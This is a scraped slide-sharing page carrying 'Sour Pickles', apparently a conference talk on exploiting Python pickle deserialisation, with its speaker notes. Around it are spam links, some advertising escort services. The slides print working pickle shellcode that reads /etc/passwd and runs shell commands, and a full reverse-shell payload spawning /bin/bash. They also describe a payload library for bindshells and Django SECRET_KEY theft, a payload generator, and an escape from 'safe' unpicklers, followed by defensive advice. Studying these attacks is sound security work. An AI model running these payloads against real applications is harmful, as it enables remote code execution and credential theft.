Botconf 2013 - DNS-based Botnet C2 Server DetectionBotconf 2013 - DNS-based Botnet C2 Server Detection
Botconf 2013 - DNS-based Botnet C2 Server Detection
 
Rat a-tat-tat
Rat a-tat-tatRat a-tat-tat
Rat a-tat-tat
 
Hacking Z-Wave Home Automation Systems
Hacking Z-Wave Home Automation SystemsHacking Z-Wave Home Automation Systems
Hacking Z-Wave Home Automation Systems
 
Offence oriented Defence
Offence oriented DefenceOffence oriented Defence
Offence oriented Defence
 
Threats to machine clouds
Threats to machine cloudsThreats to machine clouds
Threats to machine clouds
 
Inside .NET Smart Card Operating System
Inside .NET Smart Card Operating SystemInside .NET Smart Card Operating System
Inside .NET Smart Card Operating System
 
SNMP : Simple Network Mediated (Cisco) Pwnage
SNMP : Simple Network Mediated (Cisco) PwnageSNMP : Simple Network Mediated (Cisco) Pwnage
SNMP : Simple Network Mediated (Cisco) Pwnage
 
Its Ok To Get Hacked
Its Ok To Get HackedIts Ok To Get Hacked
Its Ok To Get Hacked
 
Web Application Hacking
Web Application HackingWeb Application Hacking
Web Application Hacking
 
Putting the tea back into cyber terrorism
Putting the tea back into cyber terrorismPutting the tea back into cyber terrorism
Putting the tea back into cyber terrorism
 
Major global information security trends - a summary
Major global information security trends - a  summaryMajor global information security trends - a  summary
Major global information security trends - a summary
 
Attacks and Defences
Attacks and DefencesAttacks and Defences
Attacks and Defences
 
Corporate Threat Modeling v2
Corporate Threat Modeling v2Corporate Threat Modeling v2
Corporate Threat Modeling v2
 

Último

Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxKatpro Technologies
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?Antenna Manufacturer Coco
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slidevu2urc
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slidespraypatel2
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CVKhem
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024Results
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 

Último (20)

Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slides
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 

Sour Pickles

  • 1. Marco Slaviero Sour PicklesA serialised exploitation guide in one part
  • 2.
  • 7. Bugs in the wildFree map enclosed
  • 8. Introduction: The theory http://docs.python.org/library/pickle.html
  • 10. Bug found in Jan 2011 by @dbph Want rsa in python? easy_install rsa This guy did ➢ https://github.com/aktowns/rsatweets Python module for send and receiving encrypted tweets. Relied on 'rsa' module Follow the call chain readTweet(tag, author) rsa.decrypt(cipher) rsa.gluechops(chops) rsa.unpicklechops(string) pickle.load(zlib.decompress(base64.decod estring(string))) RCE via Twitter Keep practicing son
  • 11. Assumption We control input to loads() Dig into Pickle exploitation Explore the limits of what is possible Build useful tools and shellcode Find bugs The fundamental issue is not new But no public exploitation guide exists (And what’s the world for, if we can’t exploit stuff?) Goals
  • 12. Function X wants to send an object to Function Y Separate processes & machines You can Build a custom marshalling protocol Implement a public marshallingprotocol, such as ASN.1 or JSON Rely on the underlying framework to convert the object to and from a stream of bytes, in a consistent way – the easiest Built-in on numerous languages Background: Serialisation
  • 13. Problem: how to send data from a process on one machine to a process on another Solution: Serialisation Options Build your own Use a public marshaling library e.g. ASN.1 or JSON Use built-in functionality provided by the language & framework Background: Serialisation
  • 14.
  • 15.
  • 16. Default method for serialisation (v2.3+) Tightly integrated & opaque Versioned Used to be 7-bit, now supports 8-bit too 6 Pickle versions as of Python 3.2 Newer versions are backwards compatible Old Python versions break on newer pickles Two essential calls dumps() takes as input a Python object and returns a serialised string. dump() is equivalent for files. loads() takes as input a serialised string and returns a Python object. load() is equivalent for files. Pickle and cPickle (compiled) essentially the same Python’s Pickle
  • 18. Produces usable objects, not just data structures Handles arbitrary objects without implementing Serializable or knowing anything about them Reconstruction requires name in module path loads() is the gateway to exploitation naked loads() calls are our "gets()" Skinning the Pickle
  • 19. Take instance of class Foo Extract all attributes from the object (__dict__) Convert the list of attributes into name-value pairs Write the object’s class name to the picklestream Write the attribute pairs into the stream Object is reduced according to defined steps Pickling Process
  • 20. Take pickle stream Rebuild list of attributes Create an object from the saved class name Copy attributes into the new object i.e. Can unpickle any object so long as the class can be instantiated Expressive language used to rebuild arbitrary attributes UnpicklingProcess
  • 21. pickle.loads() kicks off unpickling Pickle relies on a tiny virtual machine Pickle streams are actually programs Instructions and data are interleaved Lifting the Skirt
  • 22. The protocol requires: Instruction processor (or engine) Stack Memo Pickle Virtual Machine (PVM)
  • 23. Reads opcodes and arguments from the stream, starting at byte 0 Processes them, alters the stack/memo Repeat until end of stream Return top of the stack, as the deserialised object (when a STOP is encountered) PVM Instruction Engine
  • 24. Basically indexed registers Implemented as a Python dict in Pickle Provides storage for the lifetime of the PVM S'first string' p199 Sparse array, can index non-sequentially PVM Memo Push a string Save into memo
  • 25. Temporary storage for data, arguments, and objects used by the PVM Implemented as a Python list in Pickle Regular stack Instructions load data onto the stack Instructions remove and process stack items Final object on the stack is the deserialised object PVM Stack
  • 26. Not Python isomorphism Opcodes are a single byte Instructions that take arguments use newlines to delimit them Not all opcode have args Some opcodes have multiple args Types of instructions: data loading, object creation, memo / stack manipulation Data loading instructions read from the instruction stream, load onto the stack No instructions to write into the instruction sequence PVM Instructions
  • 29. Opcodes: List, dict, tuple manipulation
  • 30. Instruction sequence (S'str1' S'str2' I1234 t Stack Opcodes: Example tuple
  • 31. Instruction sequence (S'str1' S'str2' I1234 t Stack Opcodes: Example tuple
  • 32. Instruction sequence (S'str1' S'str2' I1234 t Stack Opcodes: Example tuple
  • 33. Instruction sequence (S'str1' S'str2' I1234 t Stack Opcodes: Example tuple
  • 34. Instruction sequence (S'str1' S'str2' I1234 t Stack Opcodes: Example tuple
  • 35. Stack Opcodes: Example tuple Instruction sequence (S'str1' S'str2' I1234 t
  • 37. Instruction sequence c__builtin__ file (S'/etc/passwd' tR Stack Opcodes: Example load and call
  • 38. Instruction sequence c__builtin__ file (S'/etc/passwd' tR Stack Opcodes: Example load and call
  • 39. Instruction sequence c__builtin__ file (S'/etc/passwd' tR Stack Opcodes: Example load and call
  • 40. Instruction sequence c__builtin__ file (S'/etc/passwd' tR Stack Opcodes: Example load and call
  • 41. Instruction sequence c__builtin__ file (S'/etc/passwd' tR Stack Opcodes: Example load and call
  • 42. Instruction sequence c__builtin__ file (S'/etc/passwd' tR Stack Opcodes: Example load and call 'R' executes __builtin__.file('/etc/passwd')
  • 43. Can’t Pickle objects where it doesn’t make sense (e.g. open files, network sockets) Opcodes Set is not Turing complete in isolation No comparison No branching Can’t directly manipulate its own stream Can’t access Python variables No exception handling or error checking Class instances and methods not directly handled Limited to data manipulation and method execution In practice, does this matter? Limitations
  • 44. Combination of GLOBAL and REDUCE means execution of Python callables i.e. bad Unvalidated or poorly validated input to loads() is very dangerous also known Previous work has focused on execution no returned values no embedding into host pickles We can take this further Problem?
  • 45. Create reliable shellcode that works across Python versions/platforms Even when “harmful” methods are unavailable Want shellcode that can modify the returned Python object Immediate aims
  • 46. Demo Pickle usage, calling dumps(), loads(), dis()
  • 47. Attack Scenarios(or getting hold of pickle streams)
  • 49. App stores pickles on disk with permissive file ACLs Web application encodes cookie data in a pickle Thick application uses pickle as RPC mechanism Attack Examples
  • 50. Embedded shellcode can be inserted into a host pickle in a number of ways Truncate and overwrite the stream Prepend the stream Append to the stream Inject into the stream How to choose? Truncation? Alteration?
  • 56. Verdict: Either prepend or overwrite an entity and match types
  • 57. Handcrafted1 cos system S'ls –' tR. Generated2 (limited) class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),)) 1http://nadiana.com/python-pickle-insecure 2http://blog.nelhage.com/2011/03/exploiting-pickle/ Shellcode Writing No output! cos system (S'printf -v a apos;%dapos; "apos;`uname -a | sed apos;s/.{2}(.).*/1/apos;`";exit $a;' tR. Not general enough
  • 58. Stick to version 0, pickle module Attacker controls the entire pickle stream Modified based on entity types Primarily interested in Python callables Base pattern: c<module> <callable> (<args> tR Principles
  • 59. Prepended streams must keep the stack empty Inserted streams keep stack clean and use the memo for storage Store in memo to avoid function composition f(g(),g(h())) Don’t change entity types Replacement entities to match original entities Only callables in the top-level of modules are candidates for GLOBAL Aim for deterministic / reliable shellcode So long as the type of class instances is predictable, it’s possible to invoke named methods. 7 (achievable) guidelines for shellcode
  • 60. No opcode to call methods on class instances. i.e. Can’t do this f=fopen('/path/to/massive/sikrit') f.read() We want this functionality though (can it be derived?) Operations available Load any top-level object Execute callable objects Craft Python data structures Have stack/registers, will travel Building blocks: Accessing class instances
  • 61. GLOBAL only loads top-level module objects REDUCE will execute off the stack when a callable and an argument tuple are present Look to Python introspection to load a callable handle on the stack Building blocks: Accessing class instances This is easy, opcodes support this trivially The trick. How to load a handle to a class instance method?
  • 62. f=open('/path/to/massive/sikrit') f.read() Building blocks: Accessing class instances
  • 63. f=open('/path/to/massive/sikrit') f.read() Step 1 is easy: c__builtin__ open (S'/path/to/massive/sikrit' tRp100 (Open file handle now at m[100]) Building blocks: Accessing class instances
  • 64. f=open('/path/to/massive/sikrit') f.read() apply() invokes a method handle on an argument list __builtin__.apply(file.read, [f]) But we still need a handle to file.read getattr() returns the attribute for a supplied name __builtin__.getattr(file,'read') Lastly, file can be loaded easily Combined __builtin__.apply( __builtin__.getattr(file,'read'), [f]) Building blocks: Accessing class instances
  • 65. f=open('/path/to/massive/sikrit') f.read() Step 2: c__builtin__ apply (c__builtin__ getattr (c__builtin__ file S'read' tR(g100 ltR Building blocks: Accessing class instances Violates guideline for avoiding composition Quite unreadable Applies file.read on the object stored at m[100] (previously opened file)
  • 66. More general template. Calls methnm() on an instance of so.me.cls. Uses memo slots i and j for intermediate storage. c__builtin__ getattr (cso.me cls S'methnm' tRpj 0c__builtin__ apply (gj gi ltR Building blocks: Accessing class instances Loads so.me.cls Calls methnm()
  • 67. I1000 ltRp102 0c__builtin__ getattr (c__builtin__ file S'close' tRp103 0c__builtin__ apply (g103 (g100 ltRp104 0g102 c__builtin__ open (S'/etc/passwd' tRp100 0c__builtin__ getattr (c__builtin__ file S'read' tRp101 0c__builtin__ apply (g101 (g100 Building blocks: Accessing class instances Open file, save class instance at m[100], clear stack Get handle to file.read, save at m[101] Now call file.close(). Note it uses the saved instance; no composition required m[102] is returned Call apply(<handle>,<instance>)
  • 68. cmodule __dict__ pi 0 c__builtin__ getattr (gi S('__getitem__' tRpj 0gj (S'constant' tRpsaved 0 Building blocks: Accessing module constants Load reference to __dict__ Obtain reference to module.__dict__.__getitem__ Call module.__dict__.__getitem__(constant)
  • 69. Wrapped or direct exploits Unique shellcode per task? Parameterise the shellcode using a more accessible language Back channels Assume fields from the unpickled object are displayed Not a requirement (think findsock) Length Bound by Python’s internal string and list types Runtime Is persistent shellcode possible? Automation Nothing special about the conversion, so automate it Shellcode considerations
  • 70. f = __builtin__.open('foo','w',) r = f.write('line1nline2',) [__builtin__.file] q = __builtin__.str('Finished',) q c__builtin__ open (S'foo' S'w' tRp100 0c__builtin__ getattr (c__builtin__ file S'write' tRp101 0c__builtin__ Tool 1: converttopickle.py apply (g101 (g100 S'line1line2' ltRp102 0c__builtin__ str (S'Finished' tRp103 0g103
  • 71. Input is a sequence of Python-like statements (mostly calls) Statements are annotated to indicate type Output is standalone or snippets of equivalent Pickle converttopickle.py
  • 72. Now no need to care about opcodes
  • 73. Info Get globals/locals list Fingerprint the Python runtime (paths, versions, argv, loaded modules) Process handling Return status of os.system() Output of os.popen() Output of subprocess.check_output() Bindshell Reverse shell Files operations Runtime Run eval() with supplied code Inject Python debugger (settrace()) Frameworks Django retrieval of configuration items (incl SECRET_KEY, DATABASES) AppEngine retrieval of userids, Kinds (and their Properties) AppEnginge call output functions directly Shellcode Library
  • 74. Info Get globals/locals list Fingerprint the Python runtime (paths, versions, argv, loaded modules) Process handling Return status of os.system() Output of os.popen() Output of subprocess.check_output() Bindshell Reverse shell Files operations Runtime Run eval() with supplied code Inject Python debugger (settrace()) Frameworks Django retrieval of configuration items (incl SECRET_KEY, DATABASES) AppEngine retrieval of userids, Kinds (and their Properties) AppEnginge call output functions directly Shellcode Library
  • 75. afinet = socket.AF_INET {const} sstream = socket.SOCK_STREAM {const} ttcp = socket.IPPROTO_TCP {const} solsocket = socket.SOL_SOCKET {const} reuseaddr = socket.SO_REUSEADDR {const} sock = socket.socket(afinet,sstream,ttcp,) q = sock.setsockopt(solsocket,reuseaddr,1) [socket.socket] conn = sock.connect(('localhost',55555,),) [socket.socket] fileno = sock.fileno() [socket._socketobject] fd = __builtin__.int(fileno,) subproc = subprocess.Popen(('/bin/bash',),0,'/bin/bash', fd, fd, fd,) Reverseshell: Input
  • 76. "csocket__dict__p1010c__builtin__getattr(g101S'__getitem__'tRp1020g102(S'AF_INET'tRp1000csocket__dict__p1040c__builtin__getattr(g104S'__getitem__'tRp1050g105(S'SOCK_STREAM'tRp1030csocket__dict__p1070c__builtin__getattr(g107S'__getitem__'tRp1080g108(S'IPPROTO_TCP'tRp1060csocket__dict__p1100c__builtin__getattr(g110S'__getitem__'tRp1110g111(S'SOL_SOCKET'tRp1090csocket__dict__p1130c__builtin__getattr(g113S'__getitem__'tRp1140g114(S'SO_REUSEADDR'tRp1120csocketsocket(g100g103g106tRp1150c__builtin__getattr(csocketsocketS'setsockopt'tRp1160c__builtin__apply(g116(g115g109g112I1ltRp1170c__builtin__getattr(csocketsocketS'connect'tRp1180c__builtin__apply(g118(g115(S'localhost'I55555tltRp1190c__builtin__getattr(csocket_socketobjectS'fileno'tRp1200c__builtin__apply(g120(g115ltRp1210c__builtin__int(g121tRp1220csubprocessPopen((S'/bin/bash'tI0S'/bin/bash'g122g122g122tRp1230S'finished'." Reverseshell: Output
  • 78.
  • 79. Shellcode returns this value of “picklesmashed”
  • 80.
  • 81.
  • 82. eval() is called to create the new method
  • 83.
  • 84.
  • 85.
  • 86.
  • 88.
  • 89. Pickle multitool Simulates pickles (safely) Extracts embedded callable names Extracts entities and their types Summarises the pickle Generates shellcode according to provided parameters Library is parameterised e.g. port number, host names, Python for eval() etc Applies wrapper functions Inserts shellcode smartly Performs type checking on the shellcode and the entity it is replacing Tool 2: Anapickle
  • 91. Looked on Google Code, Nullege, Sourceforge, Google, Pastebin Approaches Strings with strong likelihood of being bad More general loads() review Application survey "pickle.loads(recv" "pickle.loads(net" "pickle.loads(.*decompress" "pickle.loads(.*decode" "pickle.loads(.*url" "pickle.loads(packet" "pickle.loads(msg" "pickle.loads(data" "pickle.loads(message" "pickle.loads(buffer" "pickle.loads(req"
  • 92. Examples for naked loads() found in web apps, thick apps, security apps, modules Not endemic, but not hard to find Network-based Evil party MitM File-based Cache-based Results: so much for the warnings
  • 94. "PyTables is a package for managing hierarchical datasets and designed to efficiently and easily cope with extremely large amounts of data" – pytables.org Example 2: PyTables import tables f = tables.openFile( 'somefile', 'w' ) node = f.createTable( f.root, 'sometable', { 'col': tables.StringCol(10) }, title = "cospopen(S'sleep 10'tRp1000c__builtin__getattr(c__builtin__fileS'read'tRp1010c__builtin__apply(g101(g100I1000ltRp1020c__builtin__getattr(c__builtin__fileS'close'tRp1030c__builtin__apply(g103(g100ltRp1040g102." ) I.e. if users control table titles, they get RCE
  • 95. Peach fuzzer supports agent-based fuzzing Agent and controller communicate over the network Unauthenticated (well, by the time auth happens it's too late) Using pickle Example 3: Peach fuzzer
  • 97. First torrent-based p2p streaming media finder / player / community thing Research project from Delft University of Technology and Vrije Universiteit Amsterdam (10 PhDs, 2 postdoc, significant cash) Research platform supports stats gathering Pickle used to transport data Clients only accept Pickles from verified researchers Researchers accept Pickles from any client Two attacks Researchers own clients Clients own researchers Example 4: Tribler
  • 98. RedHat Enterprise Linux and Fedora ship a GUI firewall config tool Be default, only available to admins However, permission can be delegated via PolKit for certain users to only configure the firewall Required action for sharing printers I.e. in a large-scale RHEL/Fedora deployment, not unlikely GUI runs as the logged in user Backend runs as 'root' Each talks via dbus to the other, passing pickles in the process I.e. low-priv client sends code that is executed by 'root' SELinux saves you (except from DoS) CVE-2011-2520 Thanks to velcro on #zacon for the initial test  Example 5: system-firewall-config
  • 99. RedHat Enterprise Linux and Fedora ship a GUI firewall config tool Be default, only available to admins However, permission can be delegated via PolKit for certain users to only configure the firewall Required action for sharing printers I.e. in a large-scale RHEL/Fedora deployment, not unlikely GUI runs as the logged in user Backend runs as 'root' Each talks via dbus to the other, passing pickles in the process I.e. low-priv client sends code that is executed by 'root' SELinux saves you (except from DoS) CVE-2011-2520 Example 5: system-firewall-config
  • 101. When Pickle is a transport Don't use if parties are unequally trusted Don't allow the possibility of alteration in transit (use SSL or sign pickles) When Pickle is a storage Review filesystem permissions Prevent TOCTOUs Review requirement for Pickle JSON is a drop in replacement for data transport pickle.dumps -> json.dumps pickle.loads -> json.loads Protections
  • 102. Occasional reference to safe unpicklers They override the class loader, implementing either whitelists or blacklists Hard to get right Here's an escape using four builtins (globals, getattr, dict, apply) c__builtin__globals(tRp1000c__builtin__getattr(c__builtin__dictS'g et'tRp1010c__builtin__apply(g101(g100S'loads'ltRp102(S'cos nsystemn(S'sleep 10'ntR.'tR Lesson: don't try sanitise pickle. Trust or reject "Safe" Unpicklers
  • 103. Extend Anapickle to later versions Embed Python bytecode in Pickles Look for pickle stream injection in dumps() Explore output handling Future considerations
  • 104. Pickles have a known vulnerability No public exploitation guides Covered the PVM Attack scenarios Shellcode guidelines Released a shellcode library Converttopickle.py a tool for writing shellcode Anapickle, a tool for manipulating pickles Application survey find bugs in the wild Summary
  • 105. Questions? Also, please fill in the feedback forms

Notas do Editor

  1. This is the theoryOur focus is weaponised exploitation
  2. still can find this code with minimal searching in projects.
  3. #DSD This is an alternative for the previous slide based on your description to me, but I may have gotten it badly wrong 
  4. #DSD Spaced it out. The last line felt like a speaking note to you, tried to make it a sentence
  5. - More than a set of rules for converting data structures to transport-ready formats - Pickle converts between objects and streams, pickling and unpickling
  6. I say “Protocol requires”, as the cPickle implementation of the stack will be different to the Pickle one.Default module is entirely implemented in python; cPickle is implemented in C.
  7. For newer pickle versions, content snooping is performed to test whether the pickle conforms to a later protocol version
  8. GLOBAL is almost always used to load callable modules. However, it is not a requirement of the instruction, which will happily load non-callables.
  9. Now that we&apos;ve discussed how an attacker gets hold of pickle streams and where they want to write to, what should they write?Generated shellcode is limited. - Can express callable execution - Can&apos;t express memo storage, stack manilpulationThese examples are simple and not production ready or reliable.
  10. - Pickle is backwards compatible, so writing in the old format is easier to handcraft and will continue to work. Difference between pickle and cPickle for almost all malpickles is zero. - Assuming entire stream is under attacker control. Could also work if not. - Goal is to run Python callables, rather than fiddle with the object that is being unpickled. - Along the way, we manipulate the unpickled object, possibly as a transport method.
  11. Again, GLOBAL usually functions with callables, but is not required to.
  12. Start with this sequence: will look to instantiate a file object and call its read method
  13. - One could either attempt to convert the requisite Python into a series of class instances calls (meaning unique shellcode per exploit), or a single exploit could be written that paramterises the payload in a higher-level language such as bash or Python.- have unpickled streams many MBs in length
  14. Platform independent (apart from bash). Also sets reuseaddr. Remember, it&apos;s not Python but input into converttopickle.py
  15. Not way we&apos;re going to handcraft this reliably. The conversion is a strong speed up.
  16. now that we can generate shellcode, we need a tool to manipulate pickles
  17. Talk about the file-based and cache-based attacks, as we don&apos;t include those examples in the slidedeck
  18. It&apos;s true peer-to-peer!